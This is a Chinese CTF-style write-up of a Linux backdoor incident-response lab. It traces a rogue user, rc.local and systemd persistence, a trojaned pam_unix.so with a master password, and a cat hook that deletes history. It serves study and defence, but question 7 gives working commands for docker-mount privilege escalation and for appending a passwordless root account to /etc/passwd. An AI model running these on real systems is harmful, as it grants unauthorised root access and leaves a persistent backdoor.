玄机——Linux后门应急

news/2025/10/20 23:31:13/文章来源:https://www.cnblogs.com/yun-chen/p/19153912

Linux后门应急

1、主机后门用户名称:提交格式如:flag

第一步使用命令

cat /etc/passwd

6f07a83b863a35aa60676c15e9d26725

查看用户信息,看到一个可疑用户

提交flag

flag{backdoor}

2、主机排查项中可以发现到flag{}内以i开头的flag,如flag

题目提示主机排查项,故而使用命令,查看进程

ps -ef

命令大意为使用完整格式查看本机所有进程

bacddcef8ace94de7b1c8a7c699e8928

flag{infoFl4g}

3、主机排查发现9999端口是通过哪个配置文件如何开机启动的,如/etc/crontab则填写/etc/crontab 的md5 ,提交方式示例:flag

题目中说明了配置文件是开机自启

而linux的开机自启动文件路径一般配置在

/etc/rc.d/rc.local/etc/rc.local

或者是在/etc/init.d 目录下添加自启动脚本

在rc.local文件中看到使用base64加密的文件,解密后看到脚本

17fe45923eb092ce84c42a6960bf74c4
263bce1c962cc646bd668c5e3fa225ec

flag{cf8a978fe83579e2e20ec158524d8c06}

同理:

/etc/systemd/system 查看自启动服务的相关配置文件
打开 rc-local.service,发现执行了 /etc/rc.d/rc.local 文件

4、黑客3s做了记录所有用户的每次登陆的密码的手段,flag为黑客记录的登陆密码日志路径md5,提交方式示例:flag

因为记录了所有用户登录的手段

进入/usr/lib/x86 64-linux-gnu/security

b81944f1e845f6af93a4e911d2fa6891

  • pam_unix.so: 最经典的模块,用于传统的 Unix 密码验证。
  • pam_deny.so: 总是拒绝访问的模块。
  • pam_permit.so: 总是允许访问的模块。
  • pam_cracklib.so: 用于检查密码强度的模块。
  • pam_ldap.so: 用于通过 LDAP 服务器进行身份验证。
  • pam_tally2.so: 用于统计登录失败次数,防止暴力破解。
  • pam_mount.so: 可以在登录时自动挂载加密的家目录或磁盘

进入目录后ls查看文件可以看到有几个文件修改日期与其他文件不同,尤其是pam_unix.so

509c92721088c2321d1430501fc1f8bd
7c34d4d0d3e64d2088a644beb4f4a724

将文件传输到本地查看

使用ida打开文件,搜索字符串password
d9bc5ec960bb70dc33f5f585a8e749ce
f7074f7dff506231881ca50ce3b48f34

点击,ctrl+e查看引用看到路径
dcbd47f6d70d6dcd944f0ec8495380d6

flag{8997d5a1b8dcca5a4be75962250959f7}

5、给出使用了/bin/bash 的RCE后门进程名称+端口号 如进程名称为sshd,端口号为22,则flag

因为提示为后门进程,故逐一排查systemctl启动配置文件存放位置
/etc/systemd/system
/usr/lib/systemd/system
/lib/systemd/system

cd /etc/systemd/system
ls

在 /etc/systemd/system发现可疑文件docker-compose-app.service
d61466f4a238eabedf5e9bb2edbad7d5

cat docker-compose-app.service

看到执行了一个shell文件

转到目录查看

cd /usr/lib/python3.7/site-packages/docker
ls -la
cat startup.sh

79292e83be0d61b5f9e45ea48fde98c5

看到使用base64加密的内容

解码后看到文件内容,使用到了8080端口
96818b907788b3b51c4ddadfe75e189f

netstat -tunlp

查看网络连接找到8080端口的服务
ac1eb70347be80a38adef2d596b3265c

flag{python8080}

6、找出开机启动的后门服务名称MD5,提交flag

服务即为上题找到的那个

flag{5213e47de16522f1dc3f9e9ecc0ab8b0}

7、渗透提权获得root目录下的flag

此时需要我们查看root目录下的flag

但是使用命令查找后,发现我们所登录的用户并没有权限

查看大佬博客学到的思路

因为此时这台主机中有docker服务,使用docker挂载目录提权

docker run --name shell -v /:/n0o0b -it nginx:1  bash
docker run --name shell -v /:/n0o0b -it nginx:1  bashdocker run --name shell创建一个新的容器,并命名为shell-v /:/n0o0b将宿主机的根目录 / 挂载到容器内的 /n0o0b 目录-it-i:保持标准输入打开-t:分配伪终端后面两个分别为使用镜像与启动

41f2cb9d896f9707db432580f51edf5e

打开shell后进入n0o0b目录

cd n0o0b
cat root/flag
flag{ATMB root}

在操作完成后使用命令创建一个拥有root权限的用户

echo "n0o0b::0:0::/root:/bin/bash" >> /n0o0b/etc/passwd
su n0o0b

110d01c23c9ada123ffc436b4c0c580b

这样后续如果再需要root命令才能查看的文件或操作时直接使用n0o0b用户即可

8、黑客3s埋了一个flag在权限维持过程中的地方,可以发现flag{}括号内的首字母是c开头,如flag

这个题一个偷懒的做法,因为我们已经有了root权限的用户,直接搜索(在普通用户无法查到)

但是问题是我们如何确认查找范围

在前期的工作中,注意到pam_unix.so的修改日期为9.24

使用命令查照在修改日期内的文件

find / -type f -newermt '2024-09-24 01:30:00' ! -newermt '2024-09-24 23:31:00' 2>/dev/null|grep -v docker

找到后直接提交
cc2454dae52f1f396654c244039b0426

flag{cr0nt4b_IRfind}

9、黑客3s做了一个root用户执行cat命令就删除文件的操作,请发现删除了什么文件将文件名作为flag提交

已知执行cat命令就删除文件,追踪一下/bin/cat也能看出链接了Nomal.so

(其实也是环境变量劫持,使用env命令查看环境变量也可以)

追踪

strace -f -e trace=file /bin/cat
命令大意:
跟踪 cat 命令执行过程中所有与文件相关的系统调用,包括其创建的任何子进程

1db8c40c07d5be0781c00585bb28d6e8

将文件传回本地后使用ida打开
bc1aebb6e5a3baea8f8881d802d150e6

flag{.bash_history}

10、黑客3s很执着清理痕迹,并做了一个持续删痕迹的手段,请发现手段并给出删除的完整黑客删除命令的md5,如flag

根据上题

flag{b0f531b39d88d4f603fc89bd4dd2c0aa}

11、黑客3s设置了一个万能密码后门使得这一个万能密码可以以所有用户身份登陆,也不影响原来密码使用。请发现这个万能密码,提交flag格式为flag

依旧是登录的问题,设置了万能密码想到的是 openssh 替换或者 pam 替换

继续查看刚刚传输的pam_unix.so文件

可以看到一个对比函数,可能是密码,提交一下
dcbd47f6d70d6dcd944f0ec8495380d6
(忘了截图,借用一下之前的图)

flag{ATMB6666}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/941711.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025/10/20

T1 直接二分即可 T2 用时:1h30min 预期:0pts 实际:0pts 想到考虑所有牌第二次被翻开的时刻,但没有继续分析,想了很久没有思路就跳了。 总结:做一个题先往一个思路去想想不通再换思路,不要每个思路都不去细想。 …

UI弹窗遮罩屏蔽触发事件的处理

10年前用的时候,在节点上添加个Mask组件就行,今天咋搞也出来不了 有个大兄弟说,要不这样吧 添加个Node 放在底部,设置透明度,然后添加个组件 Block Input Events 所遇情况: 游戏场景中,会设计很多的UI弹窗,当弹…

小整数的地址

Python 中的小整数指的是 -5 到 256 之间的整数。 在 Python 中创建一个整数对象时,Python 会根据该整数的值动态地为其分配内存空间。对于小整数,Python 会使用一种称为 “小整数缓存” 的机制来优化内存使用。这个…

一次XFS死锁问题分析

kernel version: 5.1.0 现象 XFS 文件系统出现挂起(hung),业务进程大量处于 D 状态;多处堆栈显示卡在 xfs_iget 与 xfs_fs_destroy_inode 路径上。 诊断过程 关键堆栈1(最早D住的进程,释放inode卡住)进程:post…

P11150 [THUWC 2018] 字胡串

P11150 [THUWC 2018] 字胡串 P11150 [THUWC 2018] 字胡串 思路 若 \(S + T\) 的字典序小于 \(T + S\) 的字典序则称 \(S < T\),若 \(S + T\) 的字典序小于等于 \(T + S\) 的字典序则称 \(S \le T\)。 容易注意到如…

newDay13

1.今天课比较多,把作业写写,其他的没干什么 2.明个再学学java什么的 3.没啥问题

微信如何开通wx.getPhoneNumber权限

首先必须是企业认证账号,自己是个人认证账号,折腾了好半天没找到地方。代码测试来测试去都是授权失败。 其次才是按规矩文档配置好 要开通微信小程序的 `wx.getPhoneNumber` 权限(实际上是手机号快速验证组件),需…

日志|JAVAWEB|maven

maven安装步骤配置本地仓库配置阿里云私服系统变量更改idea配置mavenmaven坐标maven加入新依赖

推荐系统与机器学习在会员服务中的应用

本文深入探讨了如何利用机器学习、贝叶斯推荐系统和结构计量经济学等技术,为会员提供个性化服务推荐。内容包括推荐系统架构、多样性优化策略以及动态选择建模等核心技术实现方案。机器学习在会员服务中的科学应用 某…

ManySpeech.MoonshineAsr 使用指南

一、简介 ManySpeech.MoonshineAsr 是 ManySpeech 语音处理套件中一个专门用于moonshine 模型推理的语音识别组件,其使用 c# 开发,底层调用 Microsoft.ML.OnnxRuntime 对 onnx 模型进行解码。具备以下特点:环境兼容…

10.20 —— 2024icpc成都I,B

I. Good Partitions 称位置 \(i\) 为断点,当且仅当 \(a_{i} > a_{i + 1}\)。考虑每个断点的影响:若段长 \(len\) 合法,则 \(a_{i}\) 与 \(a_{i + 1}\) 一定不会在段长为 \(len\) 的划分下出现在同一个段中。那么…

软工第二次编程作业

一、项目介绍项目成员 许潆之3223004863 李思淇3223004861GitHub地址 https://github.com/0919lyski/math_exercise.git这个作业属于哪个课程 https://edu.cnblogs.com/campus/gdgy/Class34Grade23ComputerScience这个…

wqs二分的无脑写法

我曾经被 wqs 二分的边界折磨死了。后面听说有种很无脑的写法,听说是 lhx 大神发明的,记录一下。 假设我们要求的是恰好 \(k\) 个的最大值,大概是这样的: int l = -1e6, r = 1e6; while (l + 1 < r) {int mid =…

2022 ICPC Hangzhou G and 2022 ICPC Jinan

2022 ICPC Hangzhou G and 2022 ICPC Jinan ICPC Hangzhou G 手玩可以发现合法的图中最多只有一个环。所以对于 \(m = n - 1\) 的情况直接判合法;对于 \(m > n\) 的情况直接判非法,此时图中肯定不知有一个环;需要…

C++在类定义内的函数包含static代表什么含义呢?

在类定义内的函数包含static代表什么含义呢? 在类定义内使用 static 关键字修饰成员函数有特殊的含义,它表示这是一个静态成员函数。 静态成员函数的特点 1. 不依赖于类的实例class MyClass { public:static void st…

2025/10/20~2025/?/? 做题笔记 - sb

2025/10/20 AT_arc181_d Prefix Bubble Sort 很显然的有每一次交换都会恰好减少一个逆序对,于是题目转化为每次会产生多少次交换。 那么考虑如何统计交换次数发现当前缀 max 变化时不会产生答案,但是这个折线非常困难…

10-20 Extra-Problem 总结

10-20 Extra-Problem 总结 AtCoder abc280_g 发现点 \((x,y)\) 的距离实际上是 \(\max(|x|,|y|,|x-y|)\)。由于坐标是可平移的,所以 \((x_1,y_1),(x_2,y_2)\) 的距离为 \(\max(|x_1-x_2|,|y_1-y_2|,|(x_1-x_2)-(y_1-y…

Rust 编译加速的最佳实践

Rust 编译慢是“老毛病”,但 2024-2025 年官方和社区集中发力,已经把“等 10 min”级别的大型项目干到了“秒级增量”。下面把当前(2025-10)验证有效的加速手段按“投入-收益”从高到低排序,全部可立刻落地;最后…

ansible底层文件传输机制中默认模式遇到权限拒绝后启用管道模式可以得到解决

为啥我在ansible.cf中加入这一配置后就可以ping通了 [ssh_connection] pipelining = True[student@master ansible]$ ansible all -m ping [WARNING]: sftp transfer mechanism failed on [node2]. Use ANSIBLE_DEBUG…

20232304 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232304 2025-2026-1 《网络与系统攻防技术》实验三实验报告 1.实验内容 1.1 实验内容 (1)使用msf编码器以及多种格式Payload生成,veil的evasion功能,利用C+Shellcode编程等技巧 (2)通过组合应用各种技术实现恶意代…